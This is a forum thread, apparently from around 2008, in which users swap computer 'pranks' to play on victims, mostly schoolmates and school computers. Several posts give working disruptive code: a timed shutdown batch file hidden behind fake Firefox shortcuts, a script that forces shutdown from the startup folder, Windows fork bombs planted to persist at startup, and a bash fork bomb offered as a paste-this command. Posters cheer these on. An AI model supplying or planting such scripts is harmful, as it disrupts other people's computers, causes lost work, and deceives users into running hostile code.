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#1
Open up notepad and paste this:
@echo
 shutdown.exe -s -t 120 -c "You're ****ed."

(You can change the "You're ****ed" to whatever you want it to say, and you can also change the "120" (120 Seconds) to another time frame.)

Then save this file as a .bat file. (Ex. "Shutdownerror.bat")

Then place it somewhere that your victim doesn't normally go into on they're computer.

Next make shortcuts that direct to it that look like normal programs (Ex. Mozilla Firefox)

heres another one:
Start %0
 %0 

this one will flood the users screen with millions of CMD prompts

post urs!!
#3
put a donut behind the computer tangled up in wires so when the fat kid tries to get it he falls and breaks his computer

amidoinitrite?
#4
I like to take a screenie of the desktop, save it as the background and then hide all the icons, watch as your victim becomes incredibly frustrated, reboots and bashes their face into the keyboard.
#7
Quote by Flann
I like to take a screenie of the desktop, save it as the background and then hide all the icons, watch as your victim becomes incredibly frustrated, reboots and bashes their face into the keyboard.

That is a very good idea. lol.
#8
Quote by Flann
I like to take a screenie of the desktop, save it as the background and then hide all the icons, watch as your victim becomes incredibly frustrated, reboots and bashes their face into the keyboard.


ahahaha you sir, win.
#9
Quote by Flann
I like to take a screenie of the desktop, save it as the background and then hide all the icons, watch as your victim becomes incredibly frustrated, reboots and bashes their face into the keyboard.


Thats ****ing legendary that....

Time to test out
#10
Quote by Flann
I like to take a screenie of the desktop, save it as the background and then hide all the icons, watch as your victim becomes incredibly frustrated, reboots and bashes their face into the keyboard.

That is a ****in brilliant idea!!!
#11
Quote by Flann
I like to take a screenie of the desktop, save it as the background and then hide all the icons, watch as your victim becomes incredibly frustrated, reboots and bashes their face into the keyboard.


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#12
Quote by af_the_fragile
nimph

all i'm gonna say.


And don't try it. It's ****ed up and also is a virus i think...

lol how could this be a virus??
AHHAAHAHAH
anyway why would i go around posting viruses on UG?
I LOVE UG?
id rather post viruses on 4chan...
brb guys i need to goto 4chan
#13
At school or anywhare that uses a server unplug the ethernet calbe in the computer. They try everything they can to log in by they cant untell the cable is pluged back in.
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#14
Quote by Flann
I like to take a screenie of the desktop, save it as the background and then hide all the icons, watch as your victim becomes incredibly frustrated, reboots and bashes their face into the keyboard.

I did this to at least 15 of the school computers last year


and I am SO doing the shutdown thing
#15
Quote by sk8ordie97
lol how could this be a virus??
AHHAAHAHAH
anyway why would i go around posting viruses on UG?
I LOVE UG?
id rather post viruses on 4chan...
brb guys i need to goto 4chan


LUL

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#16
I think the general consensus is that Flann just won this thread.
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#17
net send * LOLWUT

replace lolwut with whatever you want.
or for the endless script
":sendspam net send * How are you goto sendspam"
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#18
*sigh*
Youngins

I like mine better, I wrote it a while ago


cd %homepath%\start menu\programs\startup
ECHO shutdown -s > die.bat


as a bat file
I wouldn't recommend running it on your own computer.
#19
Quote by sk8ordie97
lol how could this be a virus??
AHHAAHAHAH
anyway why would i go around posting viruses on UG?
I LOVE UG?
id rather post viruses on 4chan...
brb guys i need to goto 4chan

Its a prank. But also a virus. Google it.

you can post any link like something.nimph.(don't remember the exact format but you can google it to find out). So when you click on the link, itscreams out "Everyone i'm watching gay porn" and floods your desktop with every shock image there is on the internet and gotse. It also opens like 10millions windows on your desktop and is some sorta virus too.

So if you really wanna **** someone up bad, you can use it, but just be careful whom you wanna use it on...
#21
Quote by af_the_fragile
Its a prank. But also a virus. Google it.

you can post any link like something.nimph.(don't remember the exact format but you can google it to find out). So when you click on the link, itscreams out "Everyone i'm watching gay porn" and floods your desktop with every shock image there is on the internet and gotse. It also opens like 10millions windows on your desktop and is some sorta virus too.

So if you really wanna **** someone up bad, you can use it, but just be careful whom you wanna use it on...



I remember that side
...I don't remember it opening goatse though...
I just remember stickfigures having anal
Eitherway
Is it TECHNICALLY a VIRUS by definition if its not infecting files?
#22
Quote by identityxcrysis
*sigh*
Youngins

I like mine better, I wrote it a while ago


cd %homepath%\start menu\programs\startup
ECHO shutdown -s > die.bat


as a bat file
I wouldn't recommend running it on your own computer.

I once made an .exe which would copy this batch script: (fork bomb)
:s
start %0
goto :s

to the users startup directory. Only way to get rid of it would to be to boot up in safe mode to prevent startup scripts and delete the file. But most users would be clueless as to how to get rid of it, let alone access their startup directory.
#23
Quote by sk8ordie97
Open up notepad and paste this:
@echo
shutdown.exe -s -t 120 -c "You're ****ed."

(You can change the "You're ****ed" to whatever you want it to say, and you can also change the "120" (120 Seconds) to another time frame.)

post urs!!



tested XD awesome

and this is NOT a virus, you have the full code in front of you so you can see exactly what it does lol, noobs
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#24
Quote by identityxcrysis
I remember that side
...I don't remember it opening goatse though...
I just remember stickfigures having anal
Eitherway
Is it TECHNICALLY a VIRUS by definition if its not infecting files?

exactly and if anyone can find that sight... i will dub thee official GOD of the pit
#25
Quote by acersucks
I once made an .exe which would copy this batch script: (fork bomb)
:s
start %0
goto :s

to the users startup directory. Only way to get rid of it would to be to boot up in safe mode to prevent startup scripts and delete the file. But most users would be clueless as to how to get rid of it, let alone access their startup directory.


Haha, exactly.
That's pretty awesome.
#27
Quote by Irnmaiden4life
Alt + F4 when someone is on a computer


Lol that is so weak compared to some of the other pranks. If the other pranks were oily, leotard wearing, musclebound grecian wrestlers, Alt + F4 would be a newborn baby, flailing in a puddle of it's own multiple juices.
#28
Quote by Fivebretz
Lol that is so weak compared to some of the other pranks. If the other pranks were oily, leotard wearing, musclebound grecian wrestlers, Alt + F4 would be a newborn baby, flailing in a puddle of it's own multiple juices.



..actually I find it quite amusing to just walk up to someone and go "HEY GUESS WHAT"
and hit alt f4 and walk away.
#29
Quote by identityxcrysis
..actually I find it quite amusing to just walk up to someone and go "HEY GUESS WHAT"
and hit alt f4 and walk away.


and tap enter a few times and hope you hit "no" on the "if you want to save your work" prompt
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#30
Quote by identityxcrysis
I remember that side
...I don't remember it opening goatse though...
I just remember stickfigures having anal
Eitherway
Is it TECHNICALLY a VIRUS by definition if its not infecting files?

well yeah, but apparently it also sends info from your comp to the creator of the virus. So its not safe.

and correction, its nimp.org
actually typeanythinghere.on.nimp.org

Just be careful where and when to use it.
#31
This thread is win.


In my restless dreams...
I see that town.
Silent Hill.
You promised you'd take me there again someday.
But you never did.

Well, I'm alone there now.
In our 'special place'...
Waiting for you.

#32
For those using Linux, copy this into bash (Gnome Terminal, Konsole) and hit enter
){ :|:& };:


Edit:
Quote by af_the_fragile
well yeah, but apparently it also sends info from your comp to the creator of the virus. So its not safe.

and correction, its nimp.org
actually typeanythinghere.on.nimp.org

Just be careful where and when to use it.

I'm gonna test that on my virtual pc.

Double Edit: nevermind, didn't read the virus bit
Last edited by acersucks at Aug 28, 2008,
#34
Quote by the_extremist00
and tap enter a few times and hope you hit "no" on the "if you want to save your work" prompt


Your best bet is to 'N' instead of enter
'n' should automatically hit no =]
#35
actually i have a pretty weak one myself. As I have no coding knowhow whatsoever, my favourite tricks in school is to wait for one of the other computer users to vacate their chair for whatever reason, then swoop in and click the internet button on their taskbar as often and as swiftly as possible. Seems crap on paper, but when you get back to your workstation and for the fifth time find 200 internet explorer windows, it can get pretty tiresome.
#36
Quote by Fivebretz
actually i have a pretty weak one myself. As I have no coding knowhow whatsoever, my favourite tricks in school is to wait for one of the other computer users to vacate their chair for whatever reason, then swoop in and click the internet button on their taskbar as often and as swiftly as possible. Seems crap on paper, but when you get back to your workstation and for the fifth time find 200 internet explorer windows, it can get pretty tiresome.


Ah, you need to take a lesson from some of the stuff said in this thread then =]
#37
I'm so tempted to try every single one of these on my computer but I'm not in the mood to screw it up.
lol.
GO YANKEES!
#38
Quote by sk8ordie97
I officially dub af_the_fragile the official GOD of the Pit

EDIT; you better sig this

I sorta don't sig people anymore, even though i've had a good few opportunities to... So thanks anyway.


And i'm on a Mac so i can't try those fancy codes n stuff....
And the desktop pic one is fun to try out on someone else's comp.
#40
Quote by Yanks4Life92
I'm so tempted to try every single one of these on my computer but I'm not in the mood to screw it up.
lol.


Yeaaa, I wouldn't.

There's one in here that will just continue to open up command prompt windows until you die
and the one I posted
Welll, it's not fun either.
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